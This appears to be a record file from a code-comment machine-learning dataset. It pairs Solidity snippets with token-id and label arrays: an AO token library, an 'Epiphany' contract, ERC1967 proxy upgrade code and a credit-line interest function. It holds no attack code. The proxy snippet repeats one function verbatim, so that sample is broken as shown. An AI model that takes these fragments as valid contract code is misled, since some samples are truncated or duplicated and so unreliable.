advocatedTAOLogos[_fromNameId][_taoId]); uint256 _amount = advocatedTAOLogos[_fromNameId][_taoId]; advocatedTAOLogos[_fromNameId][_taoId] = advocatedTAOLogos[_fromNameId][_taoId].sub(_amount); totalAdvocatedTAOLogos[_fromNameId] = totalAdvocatedTAOLogos[_fromNameId].sub(_amount); advocatedTAOLogos[_toNameId][_taoId] = advocatedTAOLogos[_toNameId][_taoId].add(_amount); totalAdvocatedTAOLogos[_toNameId] = totalAdvocatedTAOLogos[_toNameId].add(_amount); emit TransferAdvocatedTAOLogos(_fromNameId, _toNameId, _taoId, _amount); return true; } } /** * @title AOLibrary */ library AOLibrary { using SafeMath for uint256; uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1 uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000 /** * @dev Check whether or not the given TAO ID is a TAO * @param _taoId The ID of the TAO * @return true if yes. false otherwise */ function isTAO(address _taoId) public view returns (bool) { return (_taoId != address(0) && bytes(TAO(_taoId).name()).length > 0 && TAO(_taoId).originId() != address(0) && TAO(_taoId).typeId() == 0); } /** * @dev Check whether or not the given Name ID is a Name * @param _nameId The ID of the Name * @return true if yes. false otherwise */ function isName(address _nameId) public view returns (bool) { return (_nameId != address(0) && bytes(TAO(_nameId).name()).length > 0 && Name(_nameId).originId() != address(0) && Name(_nameId).typeId() == 1); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate * @param _sender The address to check * @param _theAO The AO address * @param _nameTAOPositionAddress The address of NameTAOPosition * @return true if yes, false otherwise */ function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) { return (_sender == _theAO || ( (isTAO(_theAO) || isName(_theAO)) && _nameTAOPositionAddress != address(0) && NameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO) ) ); } /** * @dev Return the divisor used to correctly calculate percentage. * Percentage stored throughout AO contracts covers 4 decimals, * so 1% is 10000, 1.25% is 12500, etc */ function PERCENTAGE_DIVISOR() public pure returns (uint256) { return _PERCENTAGE_DIVISOR; } /** * @dev Return the divisor used to correctly calculate multiplier. * Multiplier stored throughout AO contracts covers 6 decimals, * so 1 is 1000000, 0.023 is 23000, etc */ function MULTIPLIER_DIVISOR() public pure returns (uint256) { return _MULTIPLIER_DIVISOR; } /** * @dev Check whether or not content creator can stake a content based on the provided params * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _profitPercentage The percentage of profit the stake owner's media will charge * @return true if yes. false otherwise */ function canStake(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, uint256 _profitPercentage) public view returns (bool) { return ( bytes(_baseChallenge).length > 0 && bytes(_encChallenge).length > 0 && bytes(_contentDatKey).length > 0 && bytes(_metadataDatKey).length > 0 && _fileSize > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0) && _stakeAmountValid(_treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _fileSize) == true && _profitPercentage <= _PERCENTAGE_DIVISOR ); } /** * @dev Check whether or the requested unstake amount is valid * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @param _primordialAmount The amount of primordial token * @param _stakedNetworkAmount The current staked network token amount * @param _stakedPrimordialAmount The current staked primordial token amount * @param _stakedFileSize The file size of the staked content * @return true if can unstake, false otherwise */ function canUnstakePartial( address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _stakedNetworkAmount, uint256 _stakedPrimordialAmount, uint256 _stakedFileSize) public view returns (bool) { if ( (_denomination.length > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0) && _stakedNetworkAmount < AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) ) || _stakedPrimordialAmount < _primordialAmount || ( _denomination.length > 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0) && (_stakedNetworkAmount.sub(AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination)).add(_stakedPrimordialAmount.sub(_primordialAmount)) < _stakedFileSize) ) || ( _denomination.length == 0 && _networkIntegerAmount == 0 && _networkFractionAmount == 0 && _primordialAmount > 0 && _stakedPrimordialAmount.sub(_primordialAmount) < _stakedFileSize) ) { return false; } else { return true; } } /** * @dev Check whether the network token and/or primordial token is adequate to pay for existing staked content * @param _treasuryAddress AO treasury contract address * @param _isAOContentUsageType whether or not the content is of AO Content usage type * @param _fileSize The size of the file * @param _stakedAmount The total staked amount * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @param _primordialAmount The amount of primordial token * @return true when the amount is sufficient, false otherwise */ function canStakeExisting( address _treasuryAddress, bool _isAOContentUsageType, uint256 _fileSize, uint256 _stakedAmount, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount ) public view returns (bool) { if (_isAOContentUsageType) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) >= _fileSize; } else { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount).add(_stakedAmount) == _fileSize; } } /** * @dev Check whether the network token is adequate to pay for existing staked content * @param _treasuryAddress AO treasury contract address * @param _price The price of the content * @param _networkIntegerAmount The integer amount of the network token * @param _networkFractionAmount The fraction amount of the network token * @param _denomination The denomination of the the network token * @return true when the amount is sufficient, false otherwise */ function canBuy(address _treasuryAddress, uint256 _price, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination) public view returns (bool) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination) >= _price; } /** * @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier` * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _currentPrimordialBalance Account's current primordial token balance * @param _additionalWeightedMultiplier The weighted multiplier to be added * @param _additionalPrimordialAmount The primordial token amount to be added * @return the new primordial weighted multiplier */ function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) { if (_currentWeightedMultiplier > 0) { uint256 _totalWeightedTokens = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount)); uint256 _totalTokens = _currentPrimordialBalance.add(_additionalPrimordialAmount); return _totalWeightedTokens.div(_totalTokens); } else { return _additionalWeightedMultiplier; } } /** * @dev Return the address that signed the message when a node wants to become a host * @param _callingContractAddress the address of the calling contract * @param _message the message that was signed * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getBecomeHostSignatureAddress(address _callingContractAddress, string _message, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _message)); return ecrecover(_hash, _v, _r, _s); } /** * @dev Return the address that signed the TAO content state update * @param _callingContractAddress the address of the calling contract * @param _contentId the ID of the content * @param _taoId the ID of the TAO * @param _taoContentState the TAO Content State value, i.e Submitted, Pending Review, or Accepted to TAO * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getUpdateTAOContentStateSignatureAddress(address _callingContractAddress, bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _contentId, _taoId, _taoContentState)); return ecrecover(_hash, _v, _r, _s); } /** * @dev Return the staking and earning information of a stake ID * @param _contentAddress The address of AOContent * @param _earningAddress The address of AOEarning * @param _stakeId The ID of the staked content * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content * @return the total earning from staking this content * @return the total earning from hosting this content * @return the total The AO earning of this content */ function getContentMetrics(address _contentAddress, address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier) = getStakingMetrics(_contentAddress, _stakeId); (uint256 totalStakeEarning, uint256 totalHostEarning, uint256 totalTheAOEarning) = getEarningMetrics(_earningAddress, _stakeId); return ( networkAmount, primordialAmount, primordialWeightedMultiplier, totalStakeEarning, totalHostEarning, totalTheAOEarning ); } /** * @dev Return the staking information of a stake ID * @param _contentAddress The address of AOContent * @param _stakeId The ID of the staked content * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content */ function getStakingMetrics(address _contentAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) { (,, uint256 networkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier,,,) = AOContent(_contentAddress).stakedContentById(_stakeId); return ( networkAmount, primordialAmount, primordialWeightedMultiplier ); } /** * @dev Return the earning information of a stake ID * @param _earningAddress The address of AOEarning * @param _stakeId The ID of the staked content * @return the total earning from staking this content * @return the total earning from hosting this content * @return the total The AO earning of this content */ function getEarningMetrics(address _earningAddress, bytes32 _stakeId) public view returns (uint256, uint256, uint256) { return ( AOEarning(_earningAddress).totalStakedContentStakeEarning(_stakeId), AOEarning(_earningAddress).totalStakedContentHostEarning(_stakeId), AOEarning(_earningAddress).totalStakedContentTheAOEarning(_stakeId) ); } /** * @dev Calculate the primordial token multiplier on a given lot * Total Primordial Mintable = T * Total Primordial Minted = M * Starting Multiplier = S * Ending Multiplier = E * To Purchase = P * Multiplier for next Lot of Amount = (1 - ((M + P/2) / T)) x (S-E) * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting multiplier in (10 ** 6) * @param _endingMultiplier The ending multiplier in (10 ** 6) * @return The multiplier in (10 ** 6) */ function calculatePrimordialMultiplier(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { /** * Let temp = M + (P/2) * Multiplier = (1 - (temp / T)) x (S-E) */ uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); /** * Multiply multiplier with _MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR to account for 6 decimals * so, Multiplier = (_MULTIPLIER_DIVISOR/_MULTIPLIER_DIVISOR) * (1 - (temp / T)) * (S-E) * Multiplier = ((_MULTIPLIER_DIVISOR * (1 - (temp / T))) * (S-E)) / _MULTIPLIER_DIVISOR * Multiplier = ((_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E)) / _MULTIPLIER_DIVISOR * Take out the division by _MULTIPLIER_DIVISOR for now and include in later calculation * Multiplier = (_MULTIPLIER_DIVISOR - ((_MULTIPLIER_DIVISOR * temp) / T)) * (S-E) */ uint256 multiplier = (_MULTIPLIER_DIVISOR.sub(_MULTIPLIER_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)); /** * Since _startingMultiplier and _endingMultiplier are in 6 decimals * Need to divide multiplier by _MULTIPLIER_DIVISOR */ return multiplier.div(_MULTIPLIER_DIVISOR); } else { return 0; } } /** * @dev Calculate the bonus percentage of network token on a given lot * Total Primordial Mintable = T * Total Primordial Minted = M * Starting Network Token Bonus Multiplier = Bs * Ending Network Token Bonus Multiplier = Be * To Purchase = P * AO Bonus % = B% = (1 - ((M + P/2) / T)) x (Bs-Be) * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting Network token bonus multiplier * @param _endingMultiplier The ending Network token bonus multiplier * @return The bonus percentage */ function calculateNetworkTokenBonusPercentage(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { if (_purchaseAmount > 0 && _purchaseAmount <= _totalPrimordialMintable.sub(_totalPrimordialMinted)) { /** * Let temp = M + (P/2) * B% = (1 - (temp / T)) x (Bs-Be) */ uint256 temp = _totalPrimordialMinted.add(_purchaseAmount.div(2)); /** * Multiply B% with _PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR to account for 6 decimals * so, B% = (_PERCENTAGE_DIVISOR/_PERCENTAGE_DIVISOR) * (1 - (temp / T)) * (Bs-Be) * B% = ((_PERCENTAGE_DIVISOR * (1 - (temp / T))) * (Bs-Be)) / _PERCENTAGE_DIVISOR * B% = ((_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be)) / _PERCENTAGE_DIVISOR * Take out the division by _PERCENTAGE_DIVISOR for now and include in later calculation * B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) * But since Bs and Be are in 6 decimals, need to divide by _PERCENTAGE_DIVISOR * B% = (_PERCENTAGE_DIVISOR - ((_PERCENTAGE_DIVISOR * temp) / T)) * (Bs-Be) / _PERCENTAGE_DIVISOR */ uint256 bonusPercentage = (_PERCENTAGE_DIVISOR.sub(_PERCENTAGE_DIVISOR.mul(temp).div(_totalPrimordialMintable))).mul(_startingMultiplier.sub(_endingMultiplier)).div(_PERCENTAGE_DIVISOR); return bonusPercentage; } else { return 0; } } /** * @dev Calculate the bonus amount of network token on a given lot * AO Bonus Amount = B% x P * * @param _purchaseAmount The amount of primordial token intended to be purchased * @param _totalPrimordialMintable Total Primordial token intable * @param _totalPrimordialMinted Total Primordial token minted so far * @param _startingMultiplier The starting Network token bonus multiplier * @param _endingMultiplier The ending Network token bonus multiplier * @return The bonus percentage */ function calculateNetworkTokenBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) { uint256 bonusPercentage = calculateNetworkTokenBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier); /** * Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR * when calculating the network token bonus amount */ uint256 networkTokenBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR); return networkTokenBonus; } /** * @dev Calculate the maximum amount of Primordial an account can burn * _primordialBalance = P * _currentWeightedMultiplier = M * _maximumMultiplier = S * _amountToBurn = B * B = ((S x P) - (P x M)) / S * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _maximumMultiplier The maximum multiplier of this account * @return The maximum burn amount */ function calculateMaximumBurnAmount(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _maximumMultiplier) public pure returns (uint256) { return (_maximumMultiplier.mul(_primordialBalance).sub(_primordialBalance.mul(_currentWeightedMultiplier))).div(_maximumMultiplier); } /** * @dev Calculate the new multiplier after burning primordial token * _primordialBalance = P * _currentWeightedMultiplier = M * _amountToBurn = B * _newMultiplier = E * E = (P x M) / (P - B) * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _amountToBurn The amount of primordial token to burn * @return The new multiplier */ function calculateMultiplierAfterBurn(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToBurn) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.sub(_amountToBurn)); } /** * @dev Calculate the new multiplier after converting network token to primordial token * _primordialBalance = P * _currentWeightedMultiplier = M * _amountToConvert = C * _newMultiplier = E * E = (P x M) / (P + C) * * @param _primordialBalance Account's primordial token balance * @param _currentWeightedMultiplier Account's current weighted multiplier * @param _amountToConvert The amount of network token to convert * @return The new multiplier */ function calculateMultiplierAfterConversion(uint256 _primordialBalance, uint256 _currentWeightedMultiplier, uint256 _amountToConvert) public pure returns (uint256) { return _primordialBalance.mul(_currentWeightedMultiplier).div(_primordialBalance.add(_amountToConvert)); } /** * @dev Get TAO Currency Balances given a nameId * @param _nameId The ID of the Name * @param _logosAddress The address of Logos * @param _ethosAddress The address of Ethos * @param _pathosAddress The address of Pathos * @return sum Logos balance of the Name ID * @return Ethos balance of the Name ID * @return Pathos balance of the Name ID */ function getTAOCurrencyBalances( address _nameId, address _logosAddress, address _ethosAddress, address _pathosAddress ) public view returns (uint256, uint256, uint256) { return ( Logos(_logosAddress).sumBalanceOf(_nameId), TAOCurrency(_ethosAddress).balanceOf(_nameId), TAOCurrency(_pathosAddress).balanceOf(_nameId) ); } /** * @dev Return the address that signed the data and nonce when validating signature * @param _callingContractAddress the address of the calling contract * @param _data the data that was signed * @param _nonce The signed uint256 nonce * @param _v part of the signature * @param _r part of the signature * @param _s part of the signature * @return the address that signed the message */ function getValidateSignatureAddress(address _callingContractAddress, string _data, uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) { bytes32 _hash = keccak256(abi.encodePacked(_callingContractAddress, _data, _nonce)); return ecrecover(_hash, _v, _r, _s); } /***** Internal Methods *****/ /** * @dev Check whether the network token and/or primordial token is adequate to pay for the filesize * @param _treasuryAddress AO treasury contract address * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _fileSize The size of the file * @return true when the amount is sufficient, false otherwise */ function _stakeAmountValid(address _treasuryAddress, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _fileSize) internal view returns (bool) { return AOTreasury(_treasuryAddress).toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) >= _fileSize; } } contract Epiphany is TheAO { string public what; string public when; string public why; string public who; address public where; string public aSign; string public logos; constructor() public { what = 'The AO'; when = 'January 6th, 2019 a.d, year 1 a.c. Epiphany. An appearance or manifestation especially of a divine being. An illuminating discovery, realization, or disclosure.'; why = 'To Hear, See, and Speak the Human inside Humanity.'; who = 'You. Set the world, Free. – Truth'; aSign = '08e2c4e1ccf3bccfb3b8eef14679b28442649a2a733960661210a0b00d9c93bf'; logos = '0920c6ab1848df83a332a21e8c9ec1a393e694c396b872aee053722d023e2a32'; } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev Set `where` value * @param _where The new value to be set */ function setWhere(address _where) public onlyTheAO { where = _where; } }
Update the global var settings
totalHostContentEarning = totalHostContentEarning.add(_totalEarning);
10,007,531
[ 1, 1891, 326, 2552, 569, 1947, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1082, 202, 4963, 2594, 1350, 41, 9542, 273, 2078, 2594, 1350, 41, 9542, 18, 1289, 24899, 4963, 41, 9542, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x88e13724446B37dDaBef9Da746035d1e680C1206/sources/contracts/Proxy.sol
* @dev This abstract contract provides getters and event emitting update functions for _Available since v4.1._ @custom:oz-upgrades-unsafe-allow delegatecall/ This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
abstract contract ERC1967Upgrade { bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; event Upgraded(address indexed implementation); function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; event AdminChanged(address previousAdmin, address newAdmin); function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } }
4,860,943
[ 1, 2503, 8770, 6835, 8121, 23849, 471, 871, 3626, 1787, 1089, 4186, 364, 389, 5268, 3241, 331, 24, 18, 21, 6315, 632, 3662, 30, 11142, 17, 416, 13088, 17, 318, 4626, 17, 5965, 7152, 1991, 19, 1220, 353, 326, 417, 24410, 581, 17, 5034, 1651, 434, 315, 73, 625, 3657, 9599, 18, 5656, 18, 20050, 6, 10418, 329, 635, 404, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 3657, 9599, 10784, 288, 203, 565, 1731, 1578, 3238, 5381, 389, 14555, 8720, 67, 55, 1502, 56, 273, 374, 92, 7616, 2163, 8313, 507, 2313, 31835, 1578, 4848, 329, 20, 73, 27, 29488, 74, 27, 952, 26, 2414, 2499, 69, 26, 3103, 6840, 70, 25, 70, 29, 7132, 26, 72, 2138, 69, 4449, 4313, 3461, 1403, 72, 29, 28643, 31, 203, 203, 565, 1731, 1578, 2713, 5381, 389, 9883, 7618, 2689, 67, 55, 1502, 56, 273, 374, 92, 29751, 6675, 24, 69, 3437, 12124, 21, 69, 1578, 2163, 6028, 27, 71, 11149, 5193, 9975, 1966, 10689, 72, 5353, 23, 73, 3462, 6669, 952, 6418, 4763, 69, 29, 3462, 69, 23, 5353, 3361, 25, 72, 7414, 22, 9897, 71, 31, 203, 203, 565, 871, 1948, 19305, 12, 2867, 8808, 4471, 1769, 203, 203, 565, 445, 389, 588, 13621, 1435, 2713, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 5235, 8764, 18, 588, 1887, 8764, 24899, 9883, 7618, 2689, 67, 55, 1502, 56, 2934, 1132, 31, 203, 565, 289, 203, 203, 565, 445, 389, 542, 13621, 12, 2867, 394, 13621, 13, 3238, 288, 203, 3639, 2583, 12, 1887, 18, 291, 8924, 12, 2704, 13621, 3631, 315, 654, 39, 3657, 9599, 30, 394, 4471, 353, 486, 279, 6835, 8863, 203, 3639, 5235, 8764, 18, 588, 1887, 8764, 24899, 9883, 7618, 2689, 67, 55, 1502, 56, 2934, 1132, 273, 394, 13621, 31, 203, 565, 289, 203, 203, 565, 445, 389, 15097, 774, 12, 2867, 394, 13621, 13, 2713, 288, 203, 3639, 389, 542, 2 ]
./full_match/1/0x4A20F53E612E6Ab515A46EcA9dd36a290a2287F7/sources/contracts/protocol/core/callable/structs/CallableCreditLine.sol
Returns the total interest accrued
function previewTotalInterestAccrued( CallableCreditLine storage cl ) internal view returns (uint256) { return cl.totalInterestAccruedAt(block.timestamp); }
